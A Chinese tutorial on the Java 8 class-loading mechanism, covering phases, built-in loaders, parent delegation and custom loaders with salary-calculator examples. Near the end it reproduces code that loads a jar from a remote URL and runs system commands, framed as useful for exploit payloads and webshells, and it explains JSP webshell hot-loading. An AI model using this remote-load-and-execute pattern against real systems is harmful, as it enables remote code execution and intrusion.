參考:
https://www.bilibili.com/video/BV1go4y197cL/
以 java 8 爲例
什麼是類加載
Java 是一種混合語言,它既有編譯型語言的特性,又有解釋型語言的特性。編譯特性指所有的 Java 代碼都必須經過編譯才能運行。解釋型指編譯好的 .class 字節碼需要經過 JVM 解釋才能運行。.class
文件中存放着編譯後的 JVM 指令的二進制信息。
當程序中用到某個類時,JVM 就會尋找加載對應的 .class 文件,並在內存中創建對應的 Class 對象。這個過程就稱爲類加載。
類的加載步驟
理論模型
從一個類的生命週期這個角度來看,一個類(.class) 必須經過加載、鏈接、初始化三個步驟才能在 JVM 中運行。
當 java 程序需要使用某個類時,JVM 會進行加載、鏈接、初始化這個類。
加載 Loading
通過類的完全限定名查找類的字節碼文件,將類的 .class
文件字節碼數據從不同的數據源讀取到 JVM 中,並映射成 JVM 認可的數據結構。
這個階段是用戶可以參與的階段,自定義的類加載器就是在這個過程。
連接 Linking
-
驗證:檢查 JVM 加載的字節信息是否符合 java 虛擬機規範。
確保被加載類的正確性,
.class
文件的字節流中包含的信息符合當前虛擬機要求,不會危害虛擬機自身安全。 -
準備:這一階段主要是分配內存。創建類或接口的靜態變量,並給這些變量賦默認值。
只對 static 變量進行處理。而 final static 修飾的變量在編譯的時候就會分配。
-
例如:
static int num = 5
,此步驟會將 num 賦默認值 0,而 5 的賦值會在初始化階段完成。 -
解析:把類中的符號引用轉換成直接引用。
符號引用就是一組符號來描述目標,而直接引用就是直接指向目標的指針、相對偏移量或一個間接定位到目標的句柄。
初始化 Initialization
執行類初始化的代碼邏輯。包括執行 static 靜態代碼塊,給靜態變量賦值。
具體實現
java.lang.ClassLoader
是所有的類加載器的父類,java.lang.ClassLoader
有非常多的子類加載器,比如我們用於加載 jar 包的 java.net.URLClassLoader
,後者通過繼承 java.lang.ClassLoader
類,重寫了findClass
方法從而實現了加載目錄 class 文件甚至是遠程資源文件。
三種內置的類加載器
-
Bootstrap ClassLoader
引導類加載器Java 類被
java.lang.ClassLoader
的實例加載,而 後者本身就是一個 java 類,誰加載後者呢?其實就是
bootstrap ClassLoader
,它是最底層的加載器,是 JVM 的一部分,使用 C++ 編寫,故沒有父加載器,也沒有繼承java.lang.ClassLodaer
類,在代碼中獲取爲 null。它主要加載 java 基礎類。位於
JAVA_HOME/jre/lib/rt.jar
以及sun.boot.class.path
系統屬性目錄下的類。出於安全考慮,此加載器只加載 java、javax、sun 開頭的類。
-
Extension ClassLoader
擴展類加載器負責加載 java 擴展類。位於是
JAVA_HOME/jre/lib/ext
目錄下,以及java.ext.dirs
系統屬性的目錄下的類。sun.misc.Launcher$ExtClassLoader // jdk 9 及之後 jdk.internal.loader.ClassLoaders$PlatformClassLoader
-
App ClassLoader
系統類加載器又稱
System ClassLoader
,主要加載應用層的類。位於CLASS_PATH
目錄下以及系統屬性java.class.path
目錄下的類。它是默認的類加載器,如果類加載時我們不指定類加載器的情況下,默認會使用它來加載類。
sun.misc.Launcher$AppClassLoader // jdk 9 及之後 jdk.internal.loader.ClassLoaders$AppClassLOader
父子關係
AppClassLoader 父加載器爲 ExtClassLoader,ExtClassLoader 父加載器爲 null 。
很多資料和文章裏說,
ExtClassLoader
的父類加載器是BootStrapClassLoader
,嚴格來說,ExtClassLoader
的父類加載器是 null,只不過在其的loadClass
方法中,當 parent 爲 null 時,是交給BootStrap ClassLoader
來處理的。
雙親委派機制
試想幾個問題:
-
有三種類加載器,如何保證一個類加載器已加載的類不會被另一個類加載器重複加載?
勢必在加載某個類之前,都要檢查一下是否已加載過。如果三個內置的類加載器都沒加載,則加載。
-
某些基礎核心類,是可以讓所有的加載器加載嗎?
比如 String 類,如果給它加上後門,放到 classpath 下,是讓 appclassloader 加載嗎?如果是被 appclassloader 加載,那麼它需要做什麼驗證?如何進行驗證?
爲了解決上面的問題,java 採取的是雙親委派機制來協調三個類加載器。
每個類加載器對它加載的類都有一個緩存。
向上委託查找,向下委託加載。
-
類的唯一性
可以避免類的重複加載,當父類加載器已經加載了該類時,就沒有必要子 ClassLoader 再加載一次,保證加載的 Class 在內存中只有一份。
子加載器可以看見父加載器加載的類。而父加載器沒辦法得知子加載器加載的類。如果 A 類是通過 AppClassLoader 加載,而 B 類通過ExtClassLoader 加載,那麼對於 AppClassLoader 加載的類,它可以看見兩個類。而對於 ExtClassLoader ,它只能看見 B 類。
-
安全性
考慮到安全因素,Java 核心 Api 中定義類型不會被隨意替換,假設通過網絡傳遞一個名爲 java.lang.Object 的類,通過雙親委派模式傳遞到啓動類加載器,而啓動類加載器在覈心 JavaAPI 發現這個名字的類,發現該類已被加載,並不會重新加載網絡傳遞過來的 java.lang.Object,而直接返回已加載過的 Object.class,這樣可以防止核心API庫被隨意竄改。
加載步驟及代碼細節
public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException
此函數是類加載的入口函數。resolve 這個參數就是表示需不需要進行 連接階段。
下面是截取的部分代碼片段,從這個片段中可以深刻體會雙親委派機制。
Class<?> c = findLoadedClass(name);
在類加載緩存中尋找是否已經加載該類。它最終調用的是 native 方法。
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
如果父加載器不爲空,則讓遞歸讓父加載器去加載此類。
如果父加載器爲空,則調用 Bootstrap 加載器去加載此類。此處也即爲何說 ExtClassLoader 的父加載器爲 null,而非 Bootstrap 。
c = findClass(name);
如果查詢完所有父親仍未找到,說明此類並未加載,則調用 findClass 方法來尋找並加載此類。我們自定義類加載器,主要重寫的就是 findClass 。
總結
ClassLoader
類有如下核心方法:
loadClass
(加載指定的Java類)findLoadedClass
(查找JVM已經加載過的類)findClass
(查找指定的Java類)defineClass
(定義一個Java類)resolveClass
(鏈接指定的Java類)
理解Java類加載機制並非易事,這裏我們以一個 Java 的 HelloWorld 來學習 ClassLoader
。
ClassLoader
加載 com.example.HelloWorld
類重要流程如下:
ClassLoader
調用loadClass
方法加載com.example.HelloWorld
類。- 調用
findLoadedClass
方法檢查TestHelloWorld
類是否已經加載,如果 JVM 已加載過該類則直接返回類對象。 - 如果創建當前
ClassLoader
時傳入了父類加載器(new ClassLoader(父類加載器)
)就使用父類加載器加載TestHelloWorld
類,否則使用 JVM 的Bootstrap ClassLoader
加載。 - 如果上一步無法加載
TestHelloWorld
類,那麼調用自身的findClass
方法嘗試加載TestHelloWorld
類。 - 如果當前的
ClassLoader
沒有重寫了findClass
方法,那麼直接返回類加載失敗異常。如果當前類重寫了findClass
方法並通過傳入的com.example.HelloWorld
類名找到了對應的類字節碼,那麼應該調用defineClass
方法去JVM中註冊該類。 - 如果調用
loadClass
的時候傳入的resolve
參數爲 true,那麼還需要調用resolveClass
方法鏈接類,默認爲 false。 - 返回一個被 JVM 加載後的
java.lang.Class
類對象。
自定義類加載器
用途
大多數情況下,內置的類加載器夠用了,但是當加載位於磁盤上其它位置,或者位於網絡上的類時,或者需要對類做加密等,就需要自定義類加載器。
一些使用場景:通過動態加載不同實現的驅動的 jdbc。以及編織代理可以更改已知的字節碼。以及類名相同的多版本共存機制。
具體實現
我們通常實現自定義類加載器,主要就是重寫 findClass 方法。
protected Class<?> findClass(String name) throws ClassNotFoundException
從網絡或磁盤文件(.class, jar, 等任意後綴文件) 上讀取類的字節碼。然後將獲取的類字節碼傳給 defineClass 函數來定義一個類。
protected final Class<?> defineClass(String name, byte[] b, int off, int len) throws ClassFormatError
它最終調用也是 native 方法。
示例代碼
使用類字節碼中加載類
@Test
public void test3(){
Double salary = 2000.0;
Double money;
{
byte[] b = new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, 32, 10, 0, 7, 0, 21, 10, 0, 22, 0, 23, 6, 63, -15, -103, -103, -103, -103, -103, -102, 10, 0, 22, 0, 24, 7, 0, 25, 7, 0, 26, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 26, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 59, 1, 0, 3, 99, 97, 108, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 1, 0, 6, 115, 97, 108, 97, 114, 121, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 17, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 46, 106, 97, 118, 97, 12, 0, 8, 0, 9, 7, 0, 27, 12, 0, 28, 0, 29, 12, 0, 30, 0, 31, 1, 0, 24, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 1, 0, 11, 100, 111, 117, 98, 108, 101, 86, 97, 108, 117, 101, 1, 0, 3, 40, 41, 68, 1, 0, 7, 118, 97, 108, 117, 101, 79, 102, 1, 0, 21, 40, 68, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 0, 33, 0, 6, 0, 7, 0, 0, 0, 0, 0, 2, 0, 1, 0, 8, 0, 9, 0, 1, 0, 10, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 13, 0, 14, 0, 0, 0, 1, 0, 15, 0, 16, 0, 1, 0, 10, 0, 0, 0, 64, 0, 4, 0, 2, 0, 0, 0, 12, 43, -74, 0, 2, 20, 0, 3, 107, -72, 0, 5, -80, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 12, 0, 0, 0, 22, 0, 2, 0, 0, 0, 12, 0, 13, 0, 14, 0, 0, 0, 0, 0, 12, 0, 17, 0, 18, 0, 1, 0, 1, 0, 19, 0, 0, 0, 2, 0, 20};
money = calSalary(salary,b);
System.out.println("money: " + money);
}
}
private Double calSalary(Double salary,byte[] bytes) {
Double ret = 0.0;
try {
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
Class<?> clazz = (Class<?>) method.invoke(this.getClass().getClassLoader(), "ClassLoader.SalaryCaler1", bytes, 0, bytes.length);
System.out.println(clazz.getClassLoader());
Object object = clazz.getConstructor().newInstance();
Method cal = clazz.getMethod("cal",Double.class);
ret = (Double)cal.invoke(object,salary);
} catch (Exception e) {
e.printStackTrace();
}
return ret;
}
從文件中讀取類字節碼加載類
@Test
// 自定義類加載器,從 .myclass 文件中中加載類。
public void test4(){
// 將其它方法全註釋,並且 ClassLoader.SalaryCaler 文件更名。
try {
Double salary = 2000.0;
Double money;
SalaryClassLoader classLoader = new SalaryClassLoader("C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\underlying\\target\\classes\\");
money = calSalary(salary, classLoader);
System.out.println("money: " + money);
} catch (Exception e) {
e.printStackTrace();
}
}
private Double calSalary(Double salary, SalaryClassLoader classLoader) throws Exception {
Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler1");
System.out.println(clazz.getClassLoader());
Object object = clazz.getConstructor().newInstance();
Method cal = clazz.getMethod("cal",Double.class);
return (Double)cal.invoke(object,salary);
}
package ClassLoader;
import org.apache.commons.io.IOUtils;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.security.SecureClassLoader;
public class SalaryClassLoader extends SecureClassLoader {
private String classPath;
public SalaryClassLoader(String classPath) {
this.classPath = classPath;
}
@Override
protected Class<?> findClass(String name)throws ClassNotFoundException {
String filePath = this.classPath + name.replace(".", "/").concat(".myclass");
byte[] b = null;
Class<?> aClass = null;
try (FileInputStream fis = new FileInputStream(new File(filePath))) {
b = IOUtils.toByteArray(fis);
aClass = this.defineClass(name, b, 0, b.length);
} catch (Exception e) {
e.printStackTrace();
}
return aClass;
}
}
從 jar 包中讀取類字節碼加載類
@Test
//自定義類加載器,從 jar 包中加載 .myclass
public void test5(){
try {
Double salary = 2000.0;
Double money;
SalaryJarLoader classLoader = new SalaryJarLoader("C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\out\\artifacts\\SalaryCaler\\SalaryCaler.jar");
money = calSalary(salary, classLoader);
System.out.println("money: " + money);
} catch (Exception e) {
e.printStackTrace();
}
}
private Double calSalary(Double salary, SalaryJarLoader classLoader) throws Exception {
Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler1");
System.out.println(clazz.getClassLoader());
Object object = clazz.getConstructor().newInstance();
Method cal = clazz.getMethod("cal",Double.class);
return (Double)cal.invoke(object,salary);
}
package ClassLoader;
import org.apache.commons.io.IOUtils;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.SecureClassLoader;
public class SalaryJarLoader extends SecureClassLoader {
private String jarPath;
public SalaryJarLoader(String jarPath) {
this.jarPath = jarPath;
}
@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
Class<?> c = null;
synchronized (getClassLoadingLock(name)){
c = findLoadedClass(name);
if(c == null){
c = this.findClass(name);
// System.out.println(c);
if( c == null){
c = super.loadClass(name,resolve);
}
}
}
return c;
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
try {
URL jarUrl = new URL("jar:file:\\"+jarPath+"!/"+name.replace(".","/").concat(".myclass"));
InputStream is = jarUrl.openStream();
byte[] b = IOUtils.toByteArray(is);
ret = this.defineClass(name,b,0,b.length);
} catch (Exception e) {
// e.printStackTrace();
}
return ret;
}
}
打破雙親委派機制
重寫繼承而來的 loadClass 方法。
使其優先從本地加載,本地加載不到再走雙親委派機制。
@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
Class<?> c = null;
synchronized (getClassLoadingLock(name)){
c = findLoadedClass(name);
if(c == null){
c = this.findClass(name);
if( c == null){
c = super.loadClass(name,resolve);
}
}
}
return c;
}
其它
URLClassLoader
URLClassLoader
提供了加載遠程資源的能力,在寫漏洞利用的 payload 或者 webshell 的時候我們可以使用它來加載遠程的 jar 來實現遠程的類方法調用。
在 java.net 包中,JDK提供了一個易用的類加載器 URLClassLoader,它繼承了 ClassLoader。
public URLClassLoader(URL[] urls)
//指定要加載的類所在的URL地址,父類加載器默認爲 AppClassLoader。
public URLClassLoader(URL[] urls, ClassLoader parent)
//指定要加載的類所在的URL地址,並指定父類加載器。
從本地 jar 包中加載類
@Test
// 從 jar 包中加載類
public void test3() {
try {
Double salary = 2000.0;
Double money;
URL jarUrl = new URL("file:C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\out\\artifacts\\SalaryCaler\\SalaryCaler.jar");
try (URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{jarUrl})) {
money = calSalary(salary, urlClassLoader);
System.out.println("money: " + money);
}
} catch (Exception e) {
e.printStackTrace();
}
}
private Double calSalary(Double salary, URLClassLoader classLoader) throws Exception {
Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler");
Object object = clazz.getConstructor().newInstance();
Method cal = clazz.getMethod("cal",Double.class);
return (Double)cal.invoke(object,salary);
}
從網絡 jar 包中加載類
package com.anbai.sec.classloader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
/**
* Creator: yz
* Date: 2019/12/18
*/
public class TestURLClassLoader {
public static void main(String[] args) {
try {
// 定義遠程加載的jar路徑
URL url = new URL("https://anbai.io/tools/cmd.jar");
// 創建URLClassLoader對象,並加載遠程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 定義需要執行的系統命令
String cmd = "ls";
// 通過URLClassLoader加載遠程jar包中的CMD類
Class cmdClass = ucl.loadClass("CMD");
// 調用CMD類中的exec方法,等價於: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
// 獲取命令執行結果的輸入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
// 讀取命令執行結果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
// 輸出命令執行結果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
import java.io.IOException;
/**
* Creator: yz
* Date: 2019/12/18
*/
public class CMD {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}
jsp webshell
爲什麼上傳的 jsp webshell 能立即訪問,按道理來說 jsp 要經過 servlet 容器處理轉化爲 servlet 才能執行。而通常開發過程需要主動進行更新資源、或者重新部署、重啓 tomcat 服務器。
這是因爲 tomcat 的 熱加載機制 。而之所以 JSP 具備熱更新的能力,實際上藉助的就是自定義類加載行爲,當 Servlet 容器發現 JSP 文件發生了修改後就會創建一個新的類加載器來替代原類加載器,而被替代後的類加載器所加載的文件並不會立即釋放,而是需要等待 GC。